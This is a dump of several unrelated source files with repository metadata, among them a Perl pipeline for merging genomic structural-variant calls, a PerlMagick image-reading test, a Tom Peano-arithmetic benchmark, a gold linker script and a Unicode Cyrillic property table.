$ens_symbol_rna{$geneA}[0] eq '' ) { $symbolA = $geneA; } else { $symbolA = $ens_symbol_rna{$geneA}[0]; } } else { $symbolA = $geneA; } my $symbolB; if ( exists($ens_symbol_rna{$geneB}) ) { if ( $ens_symbol_rna{$geneB}[0] eq '' ) { $symbolB = $geneB; } else { $symbolB = $ens_symbol_rna{$geneB}[0]; } } else { $symbolB = $geneB; } if ( exists($count_hash_rna{$geneB}{$geneA}) ) { if ( $count_hash_rna{$geneA}{$geneB} > $count_hash_rna{$geneB}{$geneA} ) { # geneA-geneB is more frequent than geneB-geneA print OUT "$chrA\t$breakpoint1\t$symbolA\t$chrB\t$breakpoint2\t$symbolB\t$sample\t$split_value\t$span_value\t$strandA\t$strandB\n"; } elsif ( $count_hash_rna{$geneA}{$geneB} < $count_hash_rna{$geneB}{$geneA} ) { # geneB-geneA is more frequent than geneA-geneB print OUT "$chrB\t$breakpoint2\t$symbolB\t$chrA\t$breakpoint1\t$symbolA\t$sample\t$split_value\t$span_value\t$strandB\t$strandA\n"; } else { if ( $geneA lt $geneB ) { print OUT "$chrA\t$breakpoint1\t$symbolA\t$chrB\t$breakpoint2\t$symbolB\t$sample\t$split_value\t$span_value\t$strandA\t$strandB\n"; } else { print OUT "$chrB\t$breakpoint2\t$symbolB\t$chrA\t$breakpoint1\t$symbolA\t$sample\t$split_value\t$span_value\t$strandB\t$strandA\n"; } } } else { print OUT "$chrA\t$breakpoint1\t$symbolA\t$chrB\t$breakpoint2\t$symbolB\t$sample\t$split_value\t$span_value\t$strandA\t$strandB\n"; } } } } } } close OUT; } else { #-------------------------------------------------------------------------------- # Load and merge DNA SVs from VCF files (can be one caller or multiple callers) #-------------------------------------------------------------------------------- # // [merge DNA SVs] - step.1: check input file format status (either 'vcf' or 'vcf.gz' is acceptable), then load them my %input_hash_dna; open(DIR, "ls $input |") || die strftime("%Y-%m-%d %H:%M:%S", localtime), " [merge DNA SVs] - step.1: cannot open directory for DNA SVs input:$!\n"; while ( <DIR> ) { chomp $_; my $sample = $_; if ( -d "$input/$sample" ) { open(FL, "ls $input/$sample/*.vcf* |") || die strftime("%Y-%m-%d %H:%M:%S", localtime), " [merge DNA SVs] - step.1: cannot open input file (vcf or vcf.gz):$!\n"; # either vcf or vcf.gz while ( <FL> ) { chomp $_; my $file = $_; my $text; # get vcf content if ( $file =~/\.vcf$/ ) { if ( $filter eq 'PASS' ) { $text = `grep -P '^#|\tPASS\t' $file`; # only select variants tagged by 'PASS' } else { $text = `cat $file`; # select all variants } } elsif ( $file =~/\.vcf\.gz$/ ) { if ( $filter eq 'PASS' ) { $text = `zgrep -P '^#|\tPASS\t' $file`; # only select variant tagged by 'PASS' } else { $text = `zcat $file`; # select all variants } } else { print strftime("%Y-%m-%d %H:%M:%S", localtime), " [merge DNA SVs] - step.1: $file is not a vcf or vcf.gz format! Continue!"; next; } # assign to different caller category if ( $file =~/Manta\.vcf/ ) { $input_hash_dna{$sample}{'Manta'}[0] = $text; my %sss; $input_hash_dna{$sample}{'Manta'}[1] = \%sss; # define a reference to a hash structure DNAcaller::Menta_support($sample, $text, $input_hash_dna{$sample}{'Manta'}[1]); } elsif ( $file =~/Svaba\.vcf/ ) { $input_hash_dna{$sample}{'Svaba'}[0] = $text; my %sss; $input_hash_dna{$sample}{'Svaba'}[1] = \%sss; # define a reference to a hash structure DNAcaller::Svaba_support($sample, $text, $input_hash_dna{$sample}{'Svaba'}[1]); } elsif ( $file =~/Delly\.vcf/ ) { $input_hash_dna{$sample}{'Delly'}[0] = $text; my %sss; $input_hash_dna{$sample}{'Delly'}[1] = \%sss; # define a reference to a hash structure DNAcaller::Delly_support($sample, $text, $input_hash_dna{$sample}{'Delly'}[1]); } elsif ( $file =~/Gridss\.vcf/ ) { $input_hash_dna{$sample}{'Gridss'}[0] = $text; my %sss; $input_hash_dna{$sample}{'Gridss'}[1] = \%sss; # define a reference to a hash structure DNAcaller::Gridss_support($sample, $text, $input_hash_dna{$sample}{'Gridss'}[1]); } elsif ( $file =~/Lumpy\.vcf/ ) { $input_hash_dna{$sample}{'Lumpy'}[0] = $text; my %sss; $input_hash_dna{$sample}{'Lumpy'}[1] = \%sss; # define a reference to a hash structure DNAcaller::Lumpy_support($sample, $text, $input_hash_dna{$sample}{'Lumpy'}[1]); } else { print strftime("%Y-%m-%d %H:%M:%S", localtime), " [merge DNA SVs] - step.1: Unknown $file, the caller is not in acceptable list!\n"; } } close FL; } else { print strftime("%Y-%m-%d %H:%M:%S", localtime), " [merge DNA SVs] - step.1: $sample is not a available folder\n"; } } close DIR; # // [merge DNA SVs] - step.2-4: run SURVIVOR for merging variant callings from different callers... my %collect_support_dna; my %remove_duplicate; # remove duplicate in bedpe format foreach my $sample ( sort {$a cmp $b} keys %input_hash_dna ) { `mkdir $output/$sample`; my @caller_per; # caller order 'Delly', 'Gridss', 'Lumpy', 'Manta' and 'Svaba' foreach my $caller ( sort {$a cmp $b} keys %{$input_hash_dna{$sample}} ) { push @caller_per, $caller; open(TMP, ">$output/$sample/${caller}.vcf") || die strftime("%Y-%m-%d %H:%M:%S", localtime), " [merge DNA SVs] - step.2: preparation of $sample for SURVIVOR ERROR:$!\n"; print TMP $input_hash_dna{$sample}{$caller}[0]; close TMP; # foreach my $id ( keys %{$input_hash_dna{$sample}{$caller}[1]} ) { # print "[merge DNA SVs] - step.2: $sample\t$caller\t$id\t$input_hash_dna{$sample}{$caller}[1]{$id}[0]\t$input_hash_dna{$sample}{$caller}[1]{$id}[1]\t$input_hash_dna{$sample}{$caller}[1]{$id}[2]\n"; # } } `ls $output/$sample/*.vcf > $output/${sample}_list`; # open an option for parameter settings - TO DO `SURVIVOR merge $output/${sample}_list 300 1 0 0 0 50 $output/${sample}_merge.vcf`; `SURVIVOR vcftobed $output/${sample}_merge.vcf 0 -1 $output/${sample}_merge.bedpe`; # // [merge DNA SVs] - step.2: process merged vcf file if ( ! -z "$output/${sample}_merge.vcf" ) { # if merged vcf file is OK open(IN, "grep -v '#' $output/${sample}_merge.vcf | cut -s -f3,9- |") || die strftime("%Y-%m-%d %H:%M:%S", localtime), " [merge DNA SVs] - step.2: merged vcf file for $sample unavailable:$!\n"; while ( <IN> ) { chomp $_; my @array = (split /\t/, $_); my $id = shift @array; # obtain id column of merged vcf my $format = shift @array; # obtain FORMAT column of merged vcf if ( scalar(@array) == scalar(@caller_per) ) { # How many callers shows positive in SV entry id my @merge_tag = split /\:/, $format; for (my $i=0; $i < scalar(@merge_tag); $i++) { # loop tag in FORMAT field of merged vcf file if ( $merge_tag[$i] eq 'ID' ) { for (my $j=0; $j < scalar(@array); $j++) { # loop caller in sample field my @merge_info = split /\:/, $array[$j]; if ( $merge_info[$i] eq 'NaN' || $merge_info[$i] eq 'NAN' ) { next; } else { # matched if ( exists($input_hash_dna{$sample}{$caller_per[$j]}) ) { # match to the conresponding caller my $name = $merge_info[$i]; if ( $caller_per[$j] eq 'Manta' || $caller_per[$j] eq 'Svaba' ) { $name =~s/_/\:/g; } # replace '_' wiht ':' if ( exists($input_hash_dna{$sample}{$caller_per[$j]}[1]{$name}) ) { push @{$collect_support_dna{$sample}{$id}{'split'}}, $input_hash_dna{$sample}{$caller_per[$j]}[1]{$name}[0]; push @{$collect_support_dna{$sample}{$id}{'span'}}, $input_hash_dna{$sample}{$caller_per[$j]}[1]{$name}[1]; push @{$collect_support_dna{$sample}{$id}{'type'}}, $input_hash_dna{$sample}{$caller_per[$j]}[1]{$name}[2]; push @{$collect_support_dna{$sample}{$id}{'caller'}}, $caller_per[$j]; $collect_support_dna{$sample}{$id}{'bedpe'} = undef; # print " [merge DNA SVs] - step.2: $sample\t$caller_per[$j]\t$input_hash_dna{$sample}{$caller_per[$j]}[1]{$name}[0]\t$input_hash_dna{$sample}{$caller_per[$j]}[1]{$name}[1]\t$input_hash_dna{$sample}{$caller_per[$j]}[1]{$name}[2]\n"; } else { print "[merge DNA SVs] - step.2: $name of $caller_per[$j] is fitered out in initial control\n"; } } else { die strftime("%Y-%m-%d %H:%M:%S", localtime), " [merge DNA SVs] - step.2: the caller $caller_per[$j] does not match to merged vcf column, and it format incorrect!\n"; } } } last; } } } else { die strftime("%Y-%m-%d %H:%M:%S", localtime), " [merge DNA SVs] - step.2: the number of sample columns (", scalar(@array), "!=", scalar(@caller_per), ") incorrect in merged VCF!\n"; } } close IN; } else { die strftime("%Y-%m-%d %H:%M:%S", localtime), " [merge DNA SVs] - step.2: ERROR in sample $sample merging process - merged vcf unavailable!\n"; } # // [merge DNA SVs] - step.3: process merged bedpe file my %single_break_dna; # - collect unique breakpoint entry 'chr:start-end' if ( ! -z "$output/${sample}_merge.bedpe" ) { # if merged bedpe file is OK open(IN, "grep -v '#' $output/${sample}_merge.bedpe | cut -s -f1-7,11 |") || die strftime("%Y-%m-%d %H:%M:%S", localtime), " [merge DNA SVs] - step.3: merged bedpe file for $sample unavailable:$!\n"; while ( <IN> ) { chomp $_; my ($chr1, $start1, $end1, $chr2, $start2, $end2, $id, $type) = (split /\t/, $_)[0, 1, 2, 3, 4, 5, 6, 7]; if ( ! exists($remove_duplicate{$sample}{$chr1}{$start1}{$end1}{$chr2}{$start2}{$end2}) ) { # remove replicate entries in one sample $remove_duplicate{$sample}{$chr1}{$start1}{$end1}{$chr2}{$start2}{$end2} = 1; } else { next; } if ( exists($collect_support_dna{$sample}{$id}) ) { # if entry id in bedpe file exists also in vcf file if ( $start1 <= $end1 ) { if ( $start2 <= $end2 ) { $single_break_dna{$chr1}{$start1}{$end1} = undef; $single_break_dna{$chr2}{$start2}{$end2} = undef; if ( $chr1 eq $chr2 ) { # intra-chrom if ( ($start1 + $end1)/2 <= ($start2 + $end2)/2 ) { $collect_support_dna{$sample}{$id}{'bedpe'} = [$chr1, $start1, $end1, $chr2, $start2, $end2, $type]; } else { $collect_support_dna{$sample}{$id}{'bedpe'} = [$chr2, $start2, $end2, $chr1, $start1, $end1, $type]; } } else { $collect_support_dna{$sample}{$id}{'bedpe'} = [$chr1, $start1, $end1, $chr2, $start2, $end2, $type]; } } else { $single_break_dna{$chr1}{$start1}{$end1} = undef; $single_break_dna{$chr2}{$end2}{$start2} = undef; if ( $chr1 eq $chr2 ) { # intra-chrom if ( ($start1 + $end1)/2 <= ($start2 + $end2)/2 ) { $collect_support_dna{$sample}{$id}{'bedpe'} = [$chr1, $start1, $end1, $chr2, $end2, $start2, $type]; } else { $collect_support_dna{$sample}{$id}{'bedpe'} = [$chr2, $end2, $start2, $chr1, $start1, $end1, $type]; } } else { $collect_support_dna{$sample}{$id}{'bedpe'} = [$chr1, $start1, $end1, $chr2, $end2, $start2, $type]; } } } else { if ( $start2 <= $end2 ) { $single_break_dna{$chr1}{$end1}{$start1} = undef; $single_break_dna{$chr2}{$start2}{$end2} = undef; if ( $chr1 eq $chr2 ) { # intra-chrom if ( ($start1 + $end1)/2 <= ($start2 + $end2)/2 ) { $collect_support_dna{$sample}{$id}{'bedpe'} = [$chr1, $end1, $start1, $chr2, $start2, $end2, $type]; } else { $collect_support_dna{$sample}{$id}{'bedpe'} = [$chr2, $start2, $end2, $chr1, $end1, $start1, $type]; } } else { $collect_support_dna{$sample}{$id}{'bedpe'} = [$chr1, $end1, $start1, $chr2, $start2, $end2, $type]; } } else { $single_break_dna{$chr1}{$end1}{$start1} = undef; $single_break_dna{$chr2}{$end2}{$start2} = undef; if ( $chr1 eq $chr2 ) { # intra-chrom if ( ($start1 + $end1)/2 <= ($start2 + $end2)/2 ) { $collect_support_dna{$sample}{$id}{'bedpe'} = [$chr1, $end1, $start1, $chr2, $end2, $start2, $type]; } else { $collect_support_dna{$sample}{$id}{'bedpe'} = [$chr2, $end2, $start2, $chr1, $end1, $start1, $type]; } } else { $collect_support_dna{$sample}{$id}{'bedpe'} = [$chr1, $end1, $start1, $chr2, $end2, $start2, $type]; } } } } else { die strftime("%Y-%m-%d %H:%M:%S", localtime), " [merge DNA SVs] - step.3: ERROR, entry id in bedpe does not exist in vcf file -- NOT make sense!\n"; } } close IN; } else { die strftime("%Y-%m-%d %H:%M:%S", localtime), " [merge DNA SVs] - step.3: ERROR in sample $sample merging process - merged bedpe unavailable!\n"; } # // [merge DNA SVs] - step.4: assign gene annotation to breakpoints DNAcaller::dna_break_anno($sample, \%single_break_dna, \%gene_interval_dna, \%collect_support_dna); } # // [merge DNA SVs] - step.5: final print merging results open (OUT, ">$output/Final_DNA_SVs.txt") || die "final print merging results of DNA SVs:$!\n"; print OUT "chrom1\tstart1\tend1\tchrom2\tstart2\tend2\tname\ttype\tsplit\tspan\tgene1\tgene2\n"; foreach my $sample (keys %collect_support_dna ) { foreach my $id ( keys %{$collect_support_dna{$sample}} ) { if ( defined($collect_support_dna{$sample}{$id}{'bedpe'}) ) { my $chr1 = $collect_support_dna{$sample}{$id}{'bedpe'}[0]; my $chr2 = $collect_support_dna{$sample}{$id}{'bedpe'}[3]; my $start1 = $collect_support_dna{$sample}{$id}{'bedpe'}[1]; my $start2 = $collect_support_dna{$sample}{$id}{'bedpe'}[4]; my $end1 = $collect_support_dna{$sample}{$id}{'bedpe'}[2]; my $end2 = $collect_support_dna{$sample}{$id}{'bedpe'}[5]; my @split = @{$collect_support_dna{$sample}{$id}{'split'}}; @split = sort @split; my @span = @{$collect_support_dna{$sample}{$id}{'span'}}; @span = sort @span; my $split_value; my $span_value; if ( $support eq 'min' ) { $split_value = $split[0]; $span_value = $span[0]; } elsif ( $support eq 'max' ) { $split_value = $split[-1]; $span_value = $span[-1]; } elsif ( $support eq 'median' ) { my $index = int(scalar(@split)/2); if ( @split % 2 ) { $split_value = $split[$index]; $span_value = $span[$index]; } else { $split_value = int(($split[$index-1] + $split[$index])/2); $span_value = int(($span[$index-1] + $span[$index])/2); } } else { die "--support option should be one of [min, max, median]\n"; } my $gene1; my $gene2; if ( defined($collect_support_dna{$sample}{$id}{'bedpe'}[7]) ) { foreach my $gene_tmp ( @{$collect_support_dna{$sample}{$id}{'bedpe'}[7]} ) { if ( $gene_tmp =~/^ENSG/ ) { $gene1 = $gene_tmp; } else { $gene1 = $gene_tmp; last; } } } else { $gene1 = "*"; } if ( defined($collect_support_dna{$sample}{$id}{'bedpe'}[8]) ) { foreach my $gene_tmp ( @{$collect_support_dna{$sample}{$id}{'bedpe'}[8]} ) { if ( $gene_tmp =~/^ENSG/ ) { $gene2 = $gene_tmp; } else { $gene2 = $gene_tmp; last; } } } else { $gene2 = "*"; } if ( $chr1 ne $chr2 ) { # inter-chromosome events print OUT "$chr1\t$start1\t$end1\t$chr2\t$start2\t$end2\t$sample\tBND\t$split_value\t$span_value\t$gene1\t$gene2\n"; # print "type:[@{$collect_support_dna{$sample}{$id}{'type'}}]\t"; } else { # intra-chromosome events -- abount INS insertion???????? my $type_assign; if ( $collect_support_dna{$sample}{$id}{'bedpe'}[6] eq 'BND' ) { # if incorrect type info foreach my $type_tmp ( @{$collect_support_dna{$sample}{$id}{'type'}} ) { if ( $type_tmp ne 'BND' ) { $type_assign = $type_tmp; last; } } } else { $type_assign = $collect_support_dna{$sample}{$id}{'bedpe'}[6]; } if ( defined($type_assign) ) { print OUT "$chr1\t$start1\t$end1\t$chr2\t$start2\t$end2\t$sample\t$type_assign\t$split_value\t$span_value\t$gene1\t$gene2\n"; # print "type:[@{$collect_support_dna{$sample}{$id}{'type'}}]\t"; } } } } } close OUT; }
55.447937
243
0.581122
ed5d53a1a350aa6bfa458308aa470775207aef82
7,611
t
Perl
pkgs/libs/imagick/src/PerlMagick/t/read.t
cota/parsec2-aarch64
cdf7da348afd231dbe067266f24dc14d22f5cebf
[ "BSD-3-Clause" ]
1
2020-04-01T22:21:04.000Z
2020-04-01T22:21:04.000Z
pkgs/libs/imagick/src/PerlMagick/t/read.t
cota/parsec2-aarch64
cdf7da348afd231dbe067266f24dc14d22f5cebf
[ "BSD-3-Clause" ]
null
null
null
pkgs/libs/imagick/src/PerlMagick/t/read.t
cota/parsec2-aarch64
cdf7da348afd231dbe067266f24dc14d22f5cebf
[ "BSD-3-Clause" ]
null
null
null
#!/usr/bin/perl # # Test reading formats supported directly by ImageMagick. # # Whenever a new test is added/removed, be sure to update the # 1..n ouput. # BEGIN { $| = 1; $test=1; print "1..47\n"; } END {print "not ok $test\n" unless $loaded;} use Image::Magick; $loaded=1; require 't/subroutines.pl'; chdir 't' || die 'Cd failed'; print("AVS X image file ...\n"); testReadCompare('input.avs', 'reference/read/input_avs.miff', q//, 0.0, 0.0); print("Microsoft Windows bitmap image file ...\n"); ++$test; testReadCompare('input.bmp', 'reference/read/input_bmp.miff', q//, 0.0, 0.0); print("Microsoft Windows 24-bit bitmap image file ...\n"); ++$test; testReadCompare('input.bmp24', 'reference/read/input_bmp24.miff', q//, 0.0, 0.0); print("ZSoft IBM PC multi-page Paintbrush file ...\n"); ++$test; testReadCompare('input.dcx', 'reference/read/input_dcx.miff', q//, 0.0, 0.0); print("Microsoft Windows bitmap image file ...\n"); ++$test; testReadCompare('input.dib', 'reference/read/input_dib.miff', q//, 0.0, 0.0); print("Flexible Image Transport System ...\n"); ++$test; testReadCompare('input.fits', 'reference/read/input_fits.miff', q//, 0.0, 0.0); print("CompuServe graphics interchange format ...\n"); ++$test; testReadCompare('input.gif', 'reference/read/input_gif.miff', q//, 0.02, 1.02); print("CompuServe graphics interchange format (1987) ...\n"); ++$test; testReadCompare('input.gif87', 'reference/read/input_gif87.miff', q//, 0.02, 1.02); print("Gradient (gradual passing from one shade to another) ...\n"); ++$test; testReadCompare('gradient:red-blue', 'reference/read/gradient.miff', q/size=>"70x46"/, 0.002, 0.02); print("GRANITE (granite texture) ...\n"); ++$test; testReadCompare('granite:', 'reference/read/granite.miff', q/size=>"70x46"/, 0.0, 0.0); print("MAT (MatLab gray 8-bit LSB integer) ...\n"); ++$test; testReadCompare('input_gray_lsb_08bit.mat', 'reference/read/input_gray_lsb_08bit_mat.miff', q//, 0.2, 1.02); print("MAT (MatLab gray 8-bit MSB integer) ...\n"); ++$test; testReadCompare('input_gray_msb_08bit.mat', 'reference/read/input_gray_msb_08bit_mat.miff', q//, 0.0, 0.0); print("MAT (MatLab gray 64-bit LSB double) ...\n"); ++$test; testReadCompare('input_gray_lsb_double.mat', 'reference/read/input_gray_lsb_double_mat.miff', q//, 0.2, 1.02); print("MAT (MatLab RGB 8-bit LSB integer) ...\n"); ++$test; testReadCompare('input_rgb_lsb_08bit.mat', 'reference/read/input_rgb_lsb_08bit_mat.miff', q//, 0.2, 1.02); print("Microsoft icon ...\n"); ++$test; testReadCompare('input.ico', 'reference/read/input_ico.miff', q//, 0.0, 0.0); print("Magick image file format ...\n"); ++$test; testReadCompare('input.miff', 'reference/read/input_miff.miff', q//, 0.0, 0.0); print("MTV Raytracing image format ...\n"); ++$test; testReadCompare('input.mtv', 'reference/read/input_mtv.miff', q//, 0.0, 0.0); print("NULL (white image) ...\n"); ++$test; testReadCompare('NULL:white', 'reference/read/input_null_white.miff', q/size=>"70x46"/, 0.0, 0.0); print("NULL (black image) ...\n"); ++$test; testReadCompare('NULL:black', 'reference/read/input_null_black.miff', q/size=>"70x46"/, 0.0, 0.0); print("NULL (DarkOrange image) ...\n"); ++$test; testReadCompare('NULL:DarkOrange', 'reference/read/input_null_DarkOrange.miff', q/size=>"70x46"/, 0.0, 0.0); print("Portable bitmap format (black and white), ASCII format ...\n"); ++$test; testReadCompare('input_p1.pbm', 'reference/read/input_pbm_p1.miff', q//, 0.0, 0.0); print("Portable bitmap format (black and white), binary format ...\n"); ++$test; testReadCompare('input_p4.pbm', 'reference/read/input_pbm_p4.miff', q//, 0.0, 0.0); print("ZSoft IBM PC Paintbrush file ...\n"); ++$test; testReadCompare('input.pcx', 'reference/read/input_pcx.miff', q//, 0.0, 0.0); print("Portable graymap format (gray scale), ASCII format ...\n"); ++$test; testReadCompare('input_p2.pgm', 'reference/read/input_pgm_p2.miff', q//, 0.0, 0.0); print("Portable graymap format (gray scale), binary format ...\n"); ++$test; testReadCompare('input_p5.pgm', 'reference/read/input_pgm_p5.miff', q//, 0.0, 0.0); print("Apple Macintosh QuickDraw/PICT file ...\n"); ++$test; testReadCompare('input.pict', 'reference/read/input_pict.miff', q//, 0.0, 0.0); print("Alias/Wavefront RLE image format ...\n"); ++$test; testReadCompare('input.rle', 'reference/read/input_rle.miff', q//, 0.0, 0.0); print("Portable pixmap format (color), ASCII format ...\n"); ++$test; testReadCompare('input_p3.ppm', 'reference/read/input_ppm_p3.miff', q//, 0.0, 0.0); print("Portable pixmap format (color), binary format ...\n"); ++$test; testReadCompare('input_p6.ppm', 'reference/read/input_ppm_p6.miff', q//, 0.0, 0.0); print("Adobe Photoshop bitmap file ...\n"); ++$test; testReadCompare('input.psd', 'reference/read/input_psd.miff', q//, 0.0, 0.0); print("Irix RGB image file ...\n"); ++$test; testReadCompare('input.sgi', 'reference/read/input_sgi.miff', q//, 0.25, 1.1); print("SUN 1-bit Rasterfile ...\n"); ++$test; testReadCompare('input.im1', 'reference/read/input_im1.miff', q//, 0.0, 0.0); print("SUN 8-bit Rasterfile ...\n"); ++$test; testReadCompare('input.im8', 'reference/read/input_im8.miff', q//, 0.0, 0.0); print("SUN TrueColor Rasterfile ...\n"); ++$test; testReadCompare('sun:input.im24', 'reference/read/input_im24.miff', q//, 0.0, 0.0); print("Truevision Targa image file ...\n"); ++$test; testReadCompare('input.tga', 'reference/read/input_tga.miff', q//, 0.0, 0.0); print("PSX TIM file ...\n"); ++$test; testReadCompare('input.tim', 'reference/read/input_tim.miff', q//, 0.0, 0.0); print("Khoros Visualization image file ...\n"); ++$test; testReadCompare('input.viff', 'reference/read/input_viff.miff', q//, 0.0, 0.0); print("WBMP (Wireless Bitmap (level 0) image) ...\n"); ++$test; testReadCompare('input.wbmp', 'reference/read/input_wbmp.miff', q//, 0.0, 0.0); print("X Windows system bitmap (black and white only) ...\n"); ++$test; testReadCompare('input.xbm', 'reference/read/input_xbm.miff', q//, 0.0, 0.0); print("XC: Constant image of X server color ...\n"); ++$test; testReadCompare('xc:black', 'reference/read/input_xc_black.miff', q/size=>"70x46",, depth=>8/, 0.0, 0.0); print("X Windows system pixmap file (color) ...\n"); ++$test; testReadCompare('input.xpm', 'reference/read/input_xpm.miff', q//, 0.0, 0.0); print("TILE (Tile image with a texture) ...\n"); # This is an internal generated format # We will tile using the default image and a MIFF file # ++$test; testReadCompare('TILE:input.miff', 'reference/read/input_tile.miff', q/size=>"140x92", depth=>8/, 0.0, 0.0); print("CMYK format ...\n"); ++$test; testReadCompare('input_70x46.cmyk', 'reference/read/input_cmyk.miff', q/size=>"70x46", depth=>8/, 0.0, 0.0); print("GRAY format ...\n"); ++$test; testReadCompare('input_70x46.gray', 'reference/read/input_gray.miff', q/size=>"70x46", depth=>8/, 0.0, 0.0); print("RGB format ...\n"); ++$test; testReadCompare('input_70x46.rgb', 'reference/read/input_rgb.miff', q/size=>"70x46", depth=>8/, 0.0, 0.0); print("RGBA format ...\n"); ++$test; testReadCompare('input_70x46.rgba', 'reference/read/input_rgba.miff', q/size=>"70x46", depth=>8/, 0.0, 0.0); print("UYVY format ...\n"); ++$test; testReadCompare('input_70x46.uyvy', 'reference/read/input_uyvy.miff', q/size=>"70x46", depth=>8/, 0.2, 1.02);
35.732394
111
0.647878
ed32b357a452f163adcd9ab5b26ae84cd72c090f
3,012
t
Perl
examples/old/sdf/PeanoTest.t
rewriting/tom
2918e95c78006f08a2a0919ef440413fa5c2342a
[ "BSD-3-Clause" ]
36
2016-02-19T12:09:49.000Z
2022-02-03T13:13:21.000Z
examples/old/sdf/PeanoTest.t
rewriting/tom
2918e95c78006f08a2a0919ef440413fa5c2342a
[ "BSD-3-Clause" ]
null
null
null
examples/old/sdf/PeanoTest.t
rewriting/tom
2918e95c78006f08a2a0919ef440413fa5c2342a
[ "BSD-3-Clause" ]
6
2017-11-30T17:07:10.000Z
2022-03-12T14:46:21.000Z
/* * Copyright (c) 2004-2015, Universite de Lorraine, Inria * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are * met: * - Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * - Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * - Neither the name of the Inria nor the names of its * contributors may be used to endorse or promote products derived from * this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ import aterm.*; import aterm.pure.*; import java.util.*; import peano.*; public class PeanoTest { private PeanoFactory factory; %include { Peano.tom } public PeanoTest(PeanoFactory factory) { this.factory = factory; } public PeanoFactory getPeanoFactory() { return factory; } public void run(int loop, int n) { Nat N = getPeanoFactory().makeNat_ConsZero(); for(int i=0 ; i<n ; i++) { N = getPeanoFactory().makeNat_ConsSuc(N); } long start = System.currentTimeMillis(); Nat res = null; for(int i=0 ; i<loop; i++) { res = fib(N); } long end = System.currentTimeMillis(); System.out.println(loop + " x fib(" + n + ") in " + (end-start) + " ms"); // System.out.println(res); System.out.println(factory); } public final static void main(String[] args) { PeanoTest test = new PeanoTest(new PeanoFactory()); System.err.println("beginning"); test.run(10,17); } public Nat plus(Nat t1, Nat t2) { %match(Nat t1, Nat t2) { x,consZero -> { return x; } x,consSuc[pred=y] -> { return `consSuc(plus(x,y)); } } return null; } public Nat fib(Nat t) { %match(Nat t) { consZero -> { return `consSuc(consZero); } pred@consSuc[pred=consZero] -> { return pred; } consSuc[pred=pred@consSuc[pred=x]] -> { return plus(fib(x),fib(pred)); } } return null; } }
32.387097
78
0.681275
ed1540745a1c54e55fa4eaf9c048cf247f3094a6
978
t
Perl
contrib/gnu/gdb/dist/gold/testsuite/dynamic_list_2.t
TheSledgeHammer/2.11BSD
fe61f0b9aaa273783cd027c7b5ec77e95ead2153
[ "BSD-3-Clause" ]
3
2021-05-04T17:09:06.000Z
2021-10-04T07:19:26.000Z
contrib/gnu/gdb/dist/gold/testsuite/dynamic_list_2.t
TheSledgeHammer/2.11BSD
fe61f0b9aaa273783cd027c7b5ec77e95ead2153
[ "BSD-3-Clause" ]
null
null
null
contrib/gnu/gdb/dist/gold/testsuite/dynamic_list_2.t
TheSledgeHammer/2.11BSD
fe61f0b9aaa273783cd027c7b5ec77e95ead2153
[ "BSD-3-Clause" ]
null
null
null
/* dynamic_list_2.t -- script file for building dynamic_list_lib2.so. Copyright (C) 2014-2020 Free Software Foundation, Inc. Written by Cary Coutant <ccoutant@google.com>. This file is part of gold. This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street - Fifth Floor, Boston, MA 02110-1301, USA. */ { extern "C" { "foo"; }; };
34.928571
71
0.723926
73f6726604eecb8719cb6b6da123e0528ada067b
394
pl
Perl
benchmarks/spec2k6bin/specint/perl_depends/lib/unicore/lib/Cyrillic.pl
YangZhou1997/DynamicCache_v2
60bc1e01e0eaf88f6c8e959cb6316e20ac910ed2
[ "BSD-3-Clause" ]
430
2015-01-05T19:21:10.000Z
2022-03-29T07:19:18.000Z
benchmarks/spec2k6bin/specint/perl_depends/lib/unicore/lib/Cyrillic.pl
YangZhou1997/DynamicCache_v2
60bc1e01e0eaf88f6c8e959cb6316e20ac910ed2
[ "BSD-3-Clause" ]
9
2015-01-20T17:42:30.000Z
2022-03-04T22:05:43.000Z
benchmarks/spec2k6bin/specint/perl_depends/lib/unicore/lib/Cyrillic.pl
YangZhou1997/DynamicCache_v2
60bc1e01e0eaf88f6c8e959cb6316e20ac910ed2
[ "BSD-3-Clause" ]
41
2015-05-10T17:08:50.000Z
2022-01-19T01:15:19.000Z
# !!!!!!! DO NOT EDIT THIS FILE !!!!!!! # This file is built by ./mktables from e.g. UnicodeData.txt. # Any changes made here will be lost! # # This file supports: # \p{Cyrillic} (and fuzzy permutations) # # Meaning: Script 'CYRILLIC' # return <<'END'; 0400 0481 CYRILLIC 0483 0486 CYRILLIC 048A 04CE CYRILLIC 04D0 04F5 CYRILLIC 04F8 04F9 CYRILLIC 0500 050F CYRILLIC 1D2B CYRILLIC END
19.7
61
0.700508
ed5ba1b4b51fe38a6e3caaf6ab19cd265fb3fcbe
1,498
pm
Perl
lib/Mojo/Webqq/Model/Remote/_get_friend_info.pm
zhujin001032/Mojo-Webqq
209e7ca1e7738f4949f4339849a273189490467c
[ "BSD-2-Clause" ]
1
2019-07-01T07:36:35.000Z
2019-07-01T07:36:35.000Z
